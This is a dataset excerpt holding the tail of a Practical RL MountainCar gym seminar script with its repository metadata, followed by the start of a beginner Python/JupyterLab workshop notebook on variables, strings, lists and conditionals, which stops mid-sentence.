machine, you'll see a window pop up with the image above. Don't close it, just alt-tab away.\n\n# ### Gym interface\n# \n# The three main methods of an environment are\n# * `reset()`: reset environment to the initial state, _return first observation_\n# * `render()`: show current environment state (a more colorful version :) )\n# * `step(a)`: commit action `a` and return `(new_observation, reward, is_done, info)`\n#  * `new_observation`: an observation right after committing the action `a`\n#  * `reward`: a number representing your reward for committing action `a`\n#  * `is_done`: True if the MDP has just finished, False if still in progress\n#  * `info`: some auxiliary stuff about what just happened. For now, ignore it.\n\n# In[4]:\n\n\nobs0 = env.reset()\nprint(\"initial observation code:\", obs0)\n\n# Note: in MountainCar, observation is just two numbers: car position and velocity\n\n\n# In[5]:\n\n\nprint(\"taking action 2 (right)\")\nnew_obs, reward, is_done, _ = env.step(2)\n\nprint(\"new observation code:\", new_obs)\nprint(\"reward:\", reward)\nprint(\"is game over?:\", is_done)\n\n# Note: as you can see, the car has moved to the right slightly (around 0.0005)\n\n\n# ### Play with it\n# \n# Below is the code that drives the car to the right. However, if you simply use the default policy, the car will not reach the flag at the far right due to gravity.\n# \n# __Your task__ is to fix it. Find a strategy that reaches the flag. \n# \n# You are not required to build any sophisticated algorithms for now, and you definitely don't need to know any reinforcement learning for this. Feel free to hard-code :)\n\n# In[6]:\n\n\nfrom IPython import display\n\n# Create env manually to set time limit. Please don't change this.\nTIME_LIMIT = 250\nenv = gym.wrappers.TimeLimit(\n    gym.envs.classic_control.MountainCarEnv(),\n    max_episode_steps=TIME_LIMIT + 1,\n)\nactions = {'left': 0, 'stop': 1, 'right': 2}\n\n\n# In[7]:\n\n\ndef policy(obs, t):\n    # Write the code for your policy here. You can use the observation\n    # (a tuple of position and velocity), the current time step, or both,\n    # if you want.\n    position, velocity = obs\n    \n    VELOCITY_THRESHOLD = 1e-3\n    if velocity >= VELOCITY_THRESHOLD or velocity < 0 and velocity > -VELOCITY_THRESHOLD:\n        return actions['right']\n    if velocity <= -VELOCITY_THRESHOLD or velocity > 0 and velocity < VELOCITY_THRESHOLD:\n        return actions['left']\n    \n    return actions['right']\n\n\n# In[8]:\n\n\nplt.figure(figsize=(4, 3))\ndisplay.clear_output(wait=True)\n\nobs = env.reset()\nfor t in range(TIME_LIMIT):\n    plt.gca().clear()\n    \n    action = policy(obs, t)  # Call your policy\n    obs, reward, done, _ = env.step(action)  # Pass the action chosen by the policy to the environment\n    \n    # We don't do anything with reward here because MountainCar is a very simple environment,\n    # and reward is a constant -1. Therefore, your goal is to end the episode as quickly as possible.\n\n    # Draw game image on display.\n    plt.imshow(env.render('rgb_array'))\n    plt.title(obs)\n    \n    display.display(plt.gcf())\n    display.clear_output(wait=True)\n\n    if done:\n        print(\"Well done!\")\n        break\nelse:\n    print(\"Time limit exceeded. Try again.\")\n\ndisplay.clear_output(wait=True)\n\n\n# In[10]:\n\n\nassert obs[0] > 0.47\nprint(\"You solved it!\")\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "9778c41006f79343804ab53b88ce39060d3b4582", "size": 4643, "ext": "py", "lang": "Python", "max_stars_repo_path": "week01_intro/seminar_gym_interface.py", "max_stars_repo_name": "mikita-zhuryk/Practical_RL", "max_stars_repo_head_hexsha": "4726da9d471f9a4f59f745a009796c2fbbe86e58", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "week01_intro/seminar_gym_interface.py", "max_issues_repo_name": "mikita-zhuryk/Practical_RL", "max_issues_repo_head_hexsha": "4726da9d471f9a4f59f745a009796c2fbbe86e58", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "week01_intro/seminar_gym_interface.py", "max_forks_repo_name": "mikita-zhuryk/Practical_RL", "max_forks_repo_head_hexsha": "4726da9d471f9a4f59f745a009796c2fbbe86e58", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.6369047619, "max_line_length": 171, "alphanum_fraction": 0.6997630842, "include": true, "reason": "import numpy", "num_tokens": 1162, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.334589441253186, "lm_q2_score": 0.16238003261321476, "lm_q1q2_score": 0.05433064438272965}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Workshop Notebook\n\n# ## Notebook Introduction\n\n# ### How to Use this Notebook \n\n# ### References\n\n# I know it tradition to have the refences at the end of books, but when you are standing on the shoulders of giants. You thank them first. \n\n# ```{bibliography}\n# ```\n\n# ### Thank you!\n# \n# Also, a huge *thank you* to Adam Lavely (https://github.com/adamlavely) for developing some of the intial notebooks! \n\n# ## Introduction to JupyterLab\n\n# ### Where am I? (JupyterLab Notebook)\n\n# Jupyter is a powerful suite of tools that allows us to do many things.\n# \n# Jupyter is capable of running **Ju**lia, **Pyt**hon and **R**, as well as some other things. \n# \n\n# ### Cells\n\n# Each box is called a cell. \n\n# #### Two types of Cells\n\n# ##### Text \n\n# Text Cells allow you to add text (via Markdown), which includes tables, images, links, bullet lists, numbered lists, LaTeX, blockquote, among other things. \n\n# ###### Table \n# \n# ```markdown\n# | This | is   |\n# |------|------|\n# |   a  | table| \n# ```\n# \n# | This | is   |\n# |------|------|\n# |   a  | table| \n\n# ###### Image\n# ```markdown\n# ![Wheat Field with Cypresses](images/vangogh.jpg)\n# ```\n# \n# ![Wheat Field with Cypresses](images/vangogh.jpg)\n# \n# \n# \n# \n\n# ###### Link\n# ```markdown\n# [Attribution](https://www.metmuseum.org/art/collection/search/436535)\n# ```\n# Vincent van Gogh / Public domain\n# The Metropolitan Museum of Art, New York - Purchase, The Annenberg Foundation Gift, 1993 - \n# [Attribution](https://www.metmuseum.org/art/collection/search/436535)\n\n# ###### Bullet List\n# ```markdown\n# * I am a\n#     * bullet\n# * list\n# ```\n# * I am a\n#     * bullet\n# * list\n# \n# \n\n# ###### Numbered List\n# ```markdown\n# 1. I am a\n#   1. numbered\n# 1. list\n# ```\n# 1. I am a\n#   1. numbered\n# 1. list\n\n# ###### LaTeX\n# ```markdown\n# $$e=mc^2$$\n# ```\n# \n# \n# $$e=mc^2$$\n\n# ###### Blockquotes\n# ```markdown\n# > This is a blockquote.\n# ```\n# > This is a blockquote.\n\n# ##### Code\n\n# Cells can be run using the Run button &#9658; or selecting one of the run options under the Run menu. \n# \n# Try this out! You can change what is in the cell and rerun the same cell, which is useful for debugging.\n\n# In[1]:\n\n\n2 + 2 \n\n\n# ### Your turn!\n\n# In a new cell, figure out what **5315 + 5618** is. \n\n# In[2]:\n\n\n## remove and type out 5315 + 5618\n## then hit the play button\n\n\n# ## Introduction to Python\n\n# In this section, I wanted to introduce a few basic concepts and give an outline of this section. \n\n# ### Comments in Python\n\n# In Python, we can create comments in the code itself. Considering we can use markdown language (as you see here \ud83d\ude01), we won't use this too much in this notebook. Though, here is an example. \n# \n# Basically, you use the... umm... hashtag? Number sign? Pound sign? \n# \n# This thing -> #\n\n# In[3]:\n\n\n# I am a comment in Python\n# Here is 2 + 2\n2 + 2\n# As you can see, these are not \"computed\" using Python. \n# We are just comments for the person looking at this.\n# Or... you!\n\n\n# ### Print Function\n\n# We will being using...\n# \n# ```python\n# print()\n# ```\n# \n# ...several times in this notebook. \n# \n# *print()* is a function to print out strings, variables, numbers, functions, etc. \n# \n# Let's use the classic example.\n\n# In[4]:\n\n\nprint( \"hello, world!\" )\n\n\n# OR\n\n# In[5]:\n\n\nprint(\"hello, world!\")\n\n\n# *print()* can do some fun things as well. As in, giving it more than one thing to print with commas between them. This will print both things with spaces.\n\n# In[6]:\n\n\nprint( \"hello,\", \"world!\" )\n\n\n# ### Help Function\n\n# The...\n# \n# ```python\n# help()\n# ```\n# \n# ... function is exactly what it is. It is a function to \ud83c\udf1f help \ud83c\udf1f you understand the basic usage of another function. \n\n# In[7]:\n\n\nhelp(print)\n\n\n# ### Resources\n\n# Highly suggest looking for answers using [StackOverflow](https://stackoverflow.com/help/searching)\n\n# ### Common Errors\n\n# One of the most common errors in Python is the dreaded \n# \n# ```python\n# 2 + 2\n#  3 + 3\n# \n#   File \"<ipython-input-1-0dcc020fd5cb>\", line 2\n#     3 + 3\n#     ^\n# IndentationError: unexpected indent\n# ```\n# \n# Why does this occur? Well, because Python uses spacing or tabs to distinguish where things like loops, functions, and if/else statements start and end. So, if you add an extra space or tab at the beginning of the statement, you will see this message. If you do, check your spacing. \n\n# ```{note}\n# Python can get weird with this issue. As you can, technically, start code wherever as long as you are consistent. The next cell shows an example of this... oddity.\n# \n# ```\n\n# In[8]:\n\n\n2+2\n3+3\n\n\n# ### Your turn!\n\n# ## Learning about Variables\n\n# When we are developing our idea, we sometimes need to use values multiple times or change the value based on our code. This concept is where variables become very helpful. Let's look at an example.\n# \n# In this example, we are adding a few numbers together. In this instance, if all we care about is getting the result (similar to a calculator). Then variables are not needed. \n\n# In[9]:\n\n\n5 + 3 + 16\n\n\n# But let's look at an example where we need to get the circumference of a circle using multiple radii. The equation for the circumference of a circle is: $C = 2 \\pi r$\n\n# Let's say the radius is 5\n\n# In[10]:\n\n\n2 * 3.14159265359 * 5\n\n\n# OK, how about radius 10 and 11 and 4 and ... \n# Well, in this example, we might not want to rewrite 3.14159265359 over and over. So, in this case, we want to create a variable for this, and we will call it pi. \n\n# In[11]:\n\n\npi = 3.14159265359\n\n\n# Now, every time we reference the variable called **pi** it will refer to the number **3.14159265359**\n# \n# Let's try those radii again (10, 11, 4)\n\n# In[12]:\n\n\n2 * pi * 10\n\n\n# In[13]:\n\n\n2 * pi * 11\n\n\n# In[14]:\n\n\n2 * pi * 4\n\n\n# By the way, if you happen to get an error:\n# ```javascript\n# NameError: name 'pi' is not defined\n# ```\n# Make sure you go to the cell that has\n# ```python\n# pi = 3.14159265359\n# ```\n# and run this cell *first* then try the other calculations. \n\n# ### Type of Variables\n\n# There are multiple types of variables. The most common (and the ones we will talk about) are:\n# \n# * Integers (whole numbers)\n# * Float (Floating points or numbers with a decimal)\n# * Text\n# * Lists\n# * Dictionaries\n# \n# The nice thing about Python is that we do **not** need to specify (or declare) which type we are using. Python will figure this out for us! \n# \n# BUT FIRST, a quick detour...\n# \n# We need to talk about Camel Casing.\n\n# #### Camel Case\n\n# <img src=\"https://upload.wikimedia.org/wikipedia/commons/c/c8/CamelCase_new.svg\" alt=\"camel case\" width=\"100\" style=\"float:right\"/>\n# Variable names must be one continuous string of letters/numbers. So, let's say we wanted to create a variable called \"number of kittens.\" Instead calling this variable <em>number of kittens</em>, I would call it <em>numberOfKittens</em>. Why the capitalization? Because it makes it easier to separate the words in the name. As in, <em>numberofkittens</em> vs. <em>numberOfKittens</em>. We have a fun name for this: camel case. \n\n# <cite>File:CamelCase new.svg. (2020, April 15). Wikimedia Commons, the free media repository. Retrieved 15:25, June 3, 2020 from https://commons.wikimedia.org/w/index.php?title=File:CamelCase_new.svg&oldid=411544943.</cite>\n\n# #### Integers or int\n\n# As mentioned, integers are whole numbers. Let's create an example. How about we use our numberOfKittens. We will then set this value to 0. As in, we have 0 kittens.\n\n# In[15]:\n\n\nnumberOfKittens = 0\n\n\n# One thing we might want to do is to have Python tell us what **type** this variable is. Well, Python has a function for this called\n# \n# ```python\n# type()\n# ```\n\n# In[16]:\n\n\ntype( numberOfKittens )\n\n\n# So this checks out, we made an int, and it is showing us we have an int.\n# \n# Now, once we have a variable, it is not static. We can change the value as much as we need to. Running the next cell will continually add 10 to our original variable. \n# \n# Try running this a few times.\n\n# In[17]:\n\n\nnumberOfKittens = numberOfKittens + 10\nnumberOfKittens\n\n\n# #### Floating points or floats\n\n# Floats are similar to integers, but with more precision.\n# Float comes from a Floating point or a number with a decimal point. \n# \n# This example starts at 0, but note that this is .0 \n# Adding the decimal tells Python that we should have a float value instead of an integer. \n\n# In[18]:\n\n\naFloatVariable = .0\n\n\n# Let's again, check the variable type. \n\n# In[19]:\n\n\ntype( aFloatVariable )\n\n\n# Looks good. \n# \n# And again, we will add 10 to this. There is something specific interesting here; see if you spot it.\n\n# aFloatVariable = aFloatVariable + 10\n# aFloatVariable\n\n# If you guessed \"mixing a float and an integer,\" you got it. Let's see an example. \n\n# ##### Mixing integers and floats\n\n# In Python (3, more specifically), the variable will always take the form of the most precision. So, by default, a float.\n\n# In[20]:\n\n\nletsSeeWhatHappens = numberOfKittens + aFloatVariable\nletsSeeWhatHappens\n\n\n# We can force variables to be a certain type. We call this 'type-cast' and can be used to:\n# \n# * make an integer into a float\n# * a float to an integer\n# * an integer to a string (we have not discussed this yet)\n# * a float to a string (we have not discussed this yet)\n# * etc...\n\n# ##### type-cast\n\n# ```{note}\n# type-cast is temporary. If you do not use a type-cast, the variable will revert to its original variable type. \n# ```\n\n# Let's switch our numberOfKittens to a float using \n# ```python\n# float()\n# ```\n# \n# and turn our aFloatVariable to an integer using\n# \n# ```python\n# int()\n# ```\n\n# In[21]:\n\n\nfloat(numberOfKittens)\n\n\n# In[22]:\n\n\nint(aFloatVariable)\n\n\n# #### String or str\n\n# So, up to this point, we started our conversation working with numbers. Well, what about the other things that are not numbers... like text? Well, for text, we use something called a String or str. \n# \n# Strings allow us to capture a single character up to thousands of characters (actually, much more than this). Let's go through a traditional example of \"Hello, World!\" but with my slight spin to it. \n\n# In[23]:\n\n\nhelloStatement = \"Hello, everyone!\"\n\n\n# As you can see, can capture text and other alphanumeric and special characters. There are several unique functions for strings but first, let's double-check and see what type we from our helloStatement.\n\n# In[24]:\n\n\ntype( helloStatement )\n\n\n# Not too surprising, we see this is type str or string. \n\n# ##### String Indexing/String Slicing\n\n# One of the first ways to interact with our string is to take a look at individual characters by using their **index**.\n# \n# The **index** is position (or multiple positions) for each character in the string. So, if we look at our string, we have Hello, everyone! If we wanted to see the first letter *H*, we could reference this using the index or the position where the letter is in the string. \n\n# In[25]:\n\n\nhelloStatement[1] \n\n\n# ohh.. wait a minute. We were expecting the letter *H*, but we got *e*. What happened?\n\n# ```{note}\n# For indexes, we always start at the number 0. So, 0 is the first thing, 1 is the second thing, and so on.\n# ```\n\n# Let's try this again. \n\n# In[26]:\n\n\nhelloStatement[0]\n\n\n# There we go! \n\n# Visually, this is how the string looks to Python. \n# \n# ![Hello, everyone! text](https://raw.githubusercontent.com/dudaspm/JupyterLab-Python/main/images/helloEveryone.png)\n\n# ###### Indexing Multiple Letters\n\n# In[27]:\n\n\nprint( helloStatement[0:5] )\n\n\n# Wait a second! \n# \n# ![Hello, everyone! text](https://raw.githubusercontent.com/dudaspm/JupyterLab-Python/main/images/helloEveryone.png)\n\n# The way you should think of this is: \n# \n# ```python\n# helloStatement[0 : 5 - 1]\n# helloStatement[(starting number) to (ending number - 1)]\n# ```\n# \n# There is also a shortcut way of writing this, without the 0. \n\n# In[28]:\n\n\nprint( helloStatement[:5] )\n\n\n# In[29]:\n\n\nprint( helloStatement[5:] )\n\n\n# ##### String functions\n\n# ###### Formatting\n\n# In[30]:\n\n\nprint( helloStatement.capitalize() )\nprint( helloStatement.lower() )\n\n\n# ###### Split\n\n# In[31]:\n\n\nprint( helloStatement.split(\" \") )\n\n\n# ```{note}\n# *.split()* will eventually become your best friend. *.split()* is a **great** function to use when using uniquelly spaced data. \n# As in comma separated values or CSV. \n# ```\n\n# ##### Concatenating Strings\n# \n# When you want to put two strings together, we say you *concatenate* the strings. There are multiple ways of doing this but presented are what I believe to be the three most common ways. \n\n# ###### + Method\n\n# This is the most straightforward method of the three, but there can be some issues. You simply add a plus sign *+* between your strings. Let's take a look at this. \n\n# In[32]:\n\n\nprint ( \"hello, \" + \"everyone!\")\n\n\n# This works fine, but when you add a number to this idea. We run into issues. \n\n# ```python\n# print ( \"hello, \" + \"every\" + 1 + \"!\")\n# \n# ---------------------------------------------------------------------------\n# TypeError                                 Traceback (most recent call last)\n# <ipython-input-41-1f53f06cad5c> in <module>\n# ----> 1 print ( \"hello, \" + \"every\" + 1 + \"!\")\n# \n# TypeError: can only concatenate str (not \"int\") to str\n# ```\n\n# In this case we need to *type-cast* the integer as a string using\n# ```python\n# str()\n# ```\n\n# In[33]:\n\n\nprint ( \"hello, \" + \"every\" + str(1) + \"!\")\n\n\n# ###### % Method\n\n# This is my favorite method out of the three. Let's see how this works with the same example. \n# \n# In this case, we use a %s (s = string) for each string we want to embed in our overall string. \n\n# In[34]:\n\n\nprint ( \"%s, %s\" % (\"hello\", \"everyone\") )\n\n\n# There are three parts to this. \n# \n# *The format*\n# * ```python\n# \"%s, %s\"\n# ```\n# \n# *The break*\n# * ```python\n# %\n# ```\n# \n# *The fill*\n# * ```python\n# (\"hello\", \"everyone\")\n# ```\n# \n# We have two %s, meaning we need to feed it with two strings. \n\n# OK, but what about numbers?\n\n# In[35]:\n\n\nprint ( \"%s, %s%s%s\" % (\"hello\",\"every\",1,\"!\") )\n\n\n# Still works! This reason is why I like this method. You pick the formating and feed in the strings. \n\n# ###### join() Method\n\n# The .join() method uses a function called\n# ```python\n# .join()\n# ```\n# This is a create function to be aware of, as it will allow you the ability to join strings with a specific, static format. What do I mean by static formatting? Well, unlike the % method, that can be formatted exactly how I want it. The .join() method requires a specific pattern. Example time!\n\n# In[36]:\n\n\nprint ( \" \".join([\"hello, \", \"everyone!\"]) )\n\n\n# There are two parts to this. \n# \n# *The splitter*\n# * ```python\n# \" \"\n# ```\n# \n# *The fill*\n# * ```python\n# .join([\"hello, \", \"everyone!\"])\n# ```\n# \n# Notice that the join has the brackets around it. Technically, you are feeding this an array or list (we have not talked about this yet). This function again, like *.split()*, will be a great asset to you in the future. \n# \n# Let's show this with our number again. \n\n# ```python\n# print ( \" \".join([\"hello, \", \"every\", 1, \"!\"]) )\n# \n# ---------------------------------------------------------------------------\n# TypeError                                 Traceback (most recent call last)\n# <ipython-input-54-e926f0c4c025> in <module>\n# ----> 1 print ( \" \".join([\"hello, \", \"every\", 1, \"!\"]) )\n# \n# TypeError: sequence item 2: expected str instance, int found\n# ```\n\n# The same issue as before, we need to type-cast. \n\n# In[37]:\n\n\nprint ( \" \".join([\"hello, \", \"every\", str(1), \"!\"]) )\n\n\n# Notice the spaces? Again, we are saying with *the splitter* what each string is going to be seperated by, so in this case, everything will be split by spaces. \n\n# #### Booleans\n\n# Booleans are used to do comparisions (true/false), (1/0), (yes/no)\n\n# In[38]:\n\n\nsomeCondition = True\ntype( someCondition )\n\n\n# ##### Boolean Logic\n\n# We will talk about boolean logic more in the next section (Comparisons)\n\n# In[39]:\n\n\n(someCondition == False)\n\n\n# In[40]:\n\n\nif (False): \n    print( \"yes for False!\" )\nif (True): \n    print( \"yes for True!\" )\n\n\n# ```{note}\n# A more \"traditional\" way to do booleans is to use 0 and 1. In Python, any number other than 0 is True. Including negative numbers and decimals. \n# ```\n\n# In[41]:\n\n\nif (0): \n    print( \"yes for 0!\" )\nif (1): \n    print( \"yes for 1!\" )\nif (2): \n    print( \"yes for 2!\" )\nif (-3): \n    print( \"yes for -3!\" )\nif (.4): \n    print( \"yes for .4!\" )\n\n\n# ### Lists\n\n# Lists (or also known as Arrays) are exactly that. A list of data. \n# \n# There are two options for creating a *List*. \n# \n# 1. Define the list initially\n\n# In[42]:\n\n\ngroceryList = [\"apple\", \"banana\", \"eggs\"]\nprint( groceryList )\n\n\n# 2. Create a list and add to it using\n# \n# ```python \n# .append()\n# ```\n\n# In[43]:\n\n\ngroceryList = []\ngroceryList.append(\"apple\")\ngroceryList.append(\"banana\")\ngroceryList.append(\"eggs\")\nprint( groceryList )\n\n\n# ```{note}\n# For indexes, we always start at the number 0. So, 0 is the first thing, 1 is the second thing, and so on.\n# ```\n\n# In[44]:\n\n\nprint( groceryList[2] )\nprint( groceryList[0] )\nprint( groceryList[1] )\n\n\n# So what happens if we use an *index* outside of our list?\n\n# ```python \n# print( groceryList[3] )\n# \n# ---------------------------------------------------------------------------\n# IndexError                                Traceback (most recent call last)\n# <ipython-input-44-0a77fb05d512> in <module>\n#     print( groceryList[3] )\n# \n# IndexError: list index out of range\n# ```\n\n# ```{note}\n# Typically, going through an array, one index at a time is not how we want to use lists. \n# We will talk about going through lists using a *loop* in an upcoming notebook. \n# ```\n\n# #### Dictionary\n\n# Dictionaries are used to index based on a specific key. As in:\n# \n# dictionary[\\\"street adddress\\\" (key)] = \"123 Apple St.\" (value)\n\n# In[45]:\n\n\npersonalInformation = {}\npersonalInformation[\"streetAddress\"] = \"123 Apple St.\"\npersonalInformation[\"firstName\"] = \"Patrick\"\npersonalInformation[\"lastName\"] = \"Dudas\"\nprint( personalInformation )\n\n\n# Note the order.\n\n# Again, to do this more efficiently, we will be using loops (we will talk about later).\n\n# ### Your turn!\n\n# ## Comparison Operators\n\n# We need to be able to compare different variables.  We will be working on:\n# * Are these things the same?\n# * Are these things not the same?\n# * How do these things compare?\n# \n# We can compare any data type, and our output will be a boolean (True or False).  The other things we will cover are:\n# * Comparing different data types\n# * Making multiple comparisons at once\n# \n# Comparison operators are important on their own (how do these things compare?) and are also useful for sorting and switching (see the next notebook).\n\n# ### Are these things the same?\n\n# #### Numeric Comparisons\n# We have already initiated variables by setting something equal to something else - let's do that here by setting kitten \ud83d\udc08 equal to 10 and then setting dog \ud83d\udc15 equal to kitten \ud83d\udc08. Finally, \ud83d\udc1d bee will be equal to 11. \n# \n# So...\n# \n# \ud83d\udc08 = 10\n# \n# \ud83d\udc15 = \ud83d\udc08\n# \n# \ud83d\udc1d = 11\n\n# In[46]:\n\n\nkitten = 10\ndog = kitten\nbee = 11 \n\nprint( \"kitten =\", kitten, \"; dog =\", dog, \"; bee = \", bee )\n\n\n# The first comparison operator is '==', which tests to see if two variables are equal. \n\n# In[47]:\n\n\nprint( \"kitten =\", kitten, \"; dog =\", dog, \"; bee = \", bee )\n\nprint( \"Is kitten equal to dog?\")\nprint( kitten == dog )\n\nprint( \"Is kitten equal to bee?\")\nprint( kitten == bee )\n\n\n# This tells us that kitten is equal to dog, because it returns *True* and kitten is not equal to bee, as that returns *False*.\n\n# #### Character Comparisons\n# We can also do comparisons with other variable types.  Here's an example with strings instead of integers.\n# \n# Let's think about some foods, how about:\n# \n# - food1 = \ud83c\udf4e\n# - food2 = \ud83c\udf6a\n# - food3 = \ud83c\udf4e\n\n# In[48]:\n\n\nfood1 = 'apple'\nfood2 = 'cookie'\nfood3 = 'apple' \nprint( \"food1=\", food1,\"; food2 =\", food2,\"; food3 = \", food3 )\n\nprint( \"Is food1 equal to food2?\")\nprint( food1 == food2 )\n\nprint( \"Is food1 equal to food3?\")\nprint( food1 == food3 )\n\n\n# ### Are these things different?\n\n# #### This is Logical... NOT!\n# We can also test to see if two values are not equal using the '!=' operator.\n\n# In[49]:\n\n\nprint( \"food1 =\", food1,\"; food2 =\", food2,\"; food3 =\", food3 )\n\nprint( \"Is food1 not equal to food2?\")\nprint( food1 != food2 )\n\nprint( \"Is food1 not equal to food3?\")\nprint( food1 != food3 )\n\n\n# This gives us the opposite of what we had before.  \n# \n# So, what did we learn?\n# \n# \ud83c\udf4e == \ud83c\udf4e = *True*\n# \n# \ud83c\udf4e != \ud83c\udf6a = *True*\n\n# ### How do these things compare?\n\n# #### Math Comparisons 101\n# We can also compare the magnitude of values using '<', '<=', '>'and '>=', which will return 'True' if the condition is being met.\n\n# In[50]:\n\n\nprint( \"kitten =\", kitten, \"; dog =\", dog, \"; bee = \", bee )\n\n\n# In[51]:\n\n\nprint( \"Is kitten less than dog?\")\nprint( kitten < dog )\n\nprint( \"Is kitten less than or equal to dog?\")\nprint( kitten <= dog )\n\nprint( \"Is kitten greater than or equal to dog?\")\nprint( kitten >= dog )\n\nprint( \"Is kitten greater than dog?\")\nprint( kitten > dog )\n\n\n# ```{note}\n# We do have to watch out for our types. Characters and numerics are **not** the same.\n# ```\n# \n\n# In[52]:\n\n\nTheCharacters = \"10\"\nTheNumbers = 10\n\nprint( \"Is TheNumbers equal to TheCharacters?\")\nprint( TheNumbers == TheCharacters )\nprint( \"TheNumbers type is \", type( TheNumbers ), \"; and TheCharacters type is \", type( TheCharacters ) )\n\n\n# We can compare integers and floats (!) but not other disparate data types.\n# \n# If you let python take care of your data-types, be warned that they could be different from what you think they are!\n\n# ```{note}\n# varible = varible is **not** the same thing as variable == variable\n# \n# varible = varible will **always** return true\n# ```\n\n# ### Multiple Comparisons\n\n# We can make multiple comparisons at once by stringing the statements\n# * and\n# * not\n# * or\n# \n# together. \n# \n# The individual testable (true/false) components need to be broken apart. For example,\n# * If the *V* CATA bus is coming around the corner, then I need to run towards the bus stop.\n# \n# requires several things for it to be true and to require running.  We can break these things out with:\n# * If there is a vehicle coming around the corner **AND** that vehicle is a CATA bus **AND** that CATA bus is a V \n#     * then I need to run towards the bus stop\n# \n# We will only run towards the bus stop if all of the statements are true.\n\n# #### AND\n\n# ```{note}\n# the **and** operator will return True if all of the conditions are met\n# ```\n\n# Let's create another scenario for this around clothes. For this, let's assume:\n# \n# face = \ud83d\ude0e \n# \n# shirt = \ud83d\udc55\n# \n# pants = \ud83d\udc56 \n# \n# \n# \n# \n# \n\n# In[53]:\n\n\nface = \"sunglasses\"\nshirt = \"tshirt\"\npants = \"jeans\"\n\nprint ( \"Am I wearing sunglasses and jeans?\" )\nprint (face == \"sunglasses\")\nprint (pants == \"jeans\") \nprint( (face == \"sunglasses\") and (pants == \"jeans\") )\n\nprint ( \"Am I wearing sweater and jeans?\" )\nprint (shirt == \"sweater\")\nprint (pants == \"jeans\") \nprint( (shirt == \"sweater\") and (pants == \"jeans\") )\n\n\n# We can also string as many comparisons together as we want.\n\n# In[54]:\n\n\nprint( (1 < 2) and (1 < 3) and (1 < 4) and (1 < 5) and (1 < 6) and (1 < 7) and (1 < 8) )\n\n\n# #### OR\n\n# ```{note}\n# the **or** operator will return True if at least *1* of the conditions is met\n# ```\n\n# In[55]:\n\n\nprint( \"face =\", face, \"; shirt =\", shirt, \"; pants = \", pants )\n\nprint ( \"Am I wearing sunglasses or jeans?\" )\nprint (face == \"sunglasses\")\nprint (pants == \"jeans\") \nprint( (face == \"sunglasses\") or (pants == \"jeans\") )\n\nprint ( \"Am I wearing sweater or jeans?\" )\nprint (shirt == \"sweater\")\nprint (pants == \"jeans\") \nprint( (shirt == \"sweater\") or (pants == \"jeans\") )\n\n\n# #### Not\n\n# ```{note}\n# the **not** will reverse or switch the  meaning of the and/or operators\n# ```\n\n# In[56]:\n\n\nprint( \"face =\", face, \"; shirt =\", shirt, \"; pants = \", pants )\n\nprint ( \"Am I wearing sunglasses and not jeans?\" )\nprint (face == \"sunglasses\")\nprint (not (pants == \"jeans\"))\nprint( (face == \"sunglasses\") and not (pants == \"jeans\") )\n\nprint ( \"Am I wearing jeans and not a sweater?\" )\nprint (not (shirt == \"sweater\"))\nprint (pants == \"jeans\") \nprint( not (shirt == \"sweater\") and (pants == \"jeans\") )\n\n\n# ### Your Turn!\n\n# Try to fill in code to fulfill the request!  Here are some variables used in the exercise\n\n# In[57]:\n\n\ndogA_color = 'brown'\ndogA_mass = 42\ndogA_sex = 'male'\ndogA_age = 5\ndogA_name = 'chip'\n\ndogB_color = 'white'\ndogB_mass = 19\ndogB_sex = 'female'\ndogB_age = 2\ndogB_name = 'lady'\n\n\n# Is dogA the same color as dogB? (False)\n\n# In[58]:\n\n\n# Example:\nprint( dogA_color == dogB_color )\n\n\n# Does dogA have the same name as dogB? (False)\n\n# In[59]:\n\n\n# Try it out here:\n\n\n# Is dogA older than dogB? (True)\n\n# In[60]:\n\n\n# Try it out here:\n\n\n# Is dogA the same sex as dogB? (False)\n\n# In[61]:\n\n\n# Try it out here:\n\n\n# Is dogA heavier than dogB and have a different name than dogB? (True)\n\n# In[62]:\n\n\n# Try it out here:\n\n\n# Does dogA have a different age than dogB and not a different sex than dogB? (False)\n\n# In[63]:\n\n\n# Try it out here:\n\n\n# ## If-Else Conditions\n\n# We can condition our data using if-else statements and switch cases.  If-else statements allow us to do different things if a certain criterion is met or not. We can count the odds and evens in our someNumbers list.\n\n# ### if\n\n# The *if* statement starts with if and then lists a condition that may or may not is met. If the condition is true, we do what is listed. If it is not, we move on. \n# \n# Our example here is straightforward; if answer is greater than 30, print something.\n\n# In[64]:\n\n\nanswer = 42\n\nif answer > 30:\n    print( \"This number is greater than 30\")\n\n\n# OK, same concept. \n\n# In[65]:\n\n\nanswer = 42\n\nif answer > 50:\n    print( \"This number is greater than 50\")\n\n\n# ```{note}\n# Note the structure of a Python if/else statement where some languages use { } to denote the start and end of the if/else statement. Python uses spaces. \n# \n# if (condition): <-colon\n# \n#  <- space or tab\n#  \n# Anything that is also spaced or tab is *part* of the if statement. \n# \n# ```\n\n# #### Where the if Starts and Ends\n\n# As mentioned in our note, the if/else statement uses spacing to indicate where it starts and ends. To highlight this, let's look at an example. \n\n# In[66]:\n\n\nprint(\"Into the If/Else!\")\n\nif (10 < 2):\n    print(\"In the If/Else!\")\n    \n    print(\"Still in the If/Else!\")\n    \n    \n    \n    \n    print(\"How do I get out of here!?\")\n\nprint(\"Out of the If/Else!\")\n\n\n# ### else\n\n# In these examples, only the numbers that are greater than 30 and 50 will get any response.  We can add a response for values that do not meet the conditional statement found within the if using an *else* statement. \n\n# In[67]:\n\n\nanswer = 42\n\nif answer > 30:\n    print( answer, \"> 30\")\nelse:\n    print( answer, \"< 30\")\n    \nif answer > 50:\n    print( answer, \"> 50\")\nelse:\n    print( answer, \"< 50\")\n\n\n# ### elif (else if)\n\n# If-else statements can also be stacked together to allow for additional sorting using multiple conditions.  The way this is done in python is by using \n# ```python\n# elif\n# ```\n# \n# This will chain conditions, but once one condition is true. It will stop \u270b\n# \n# Let's take a look at an 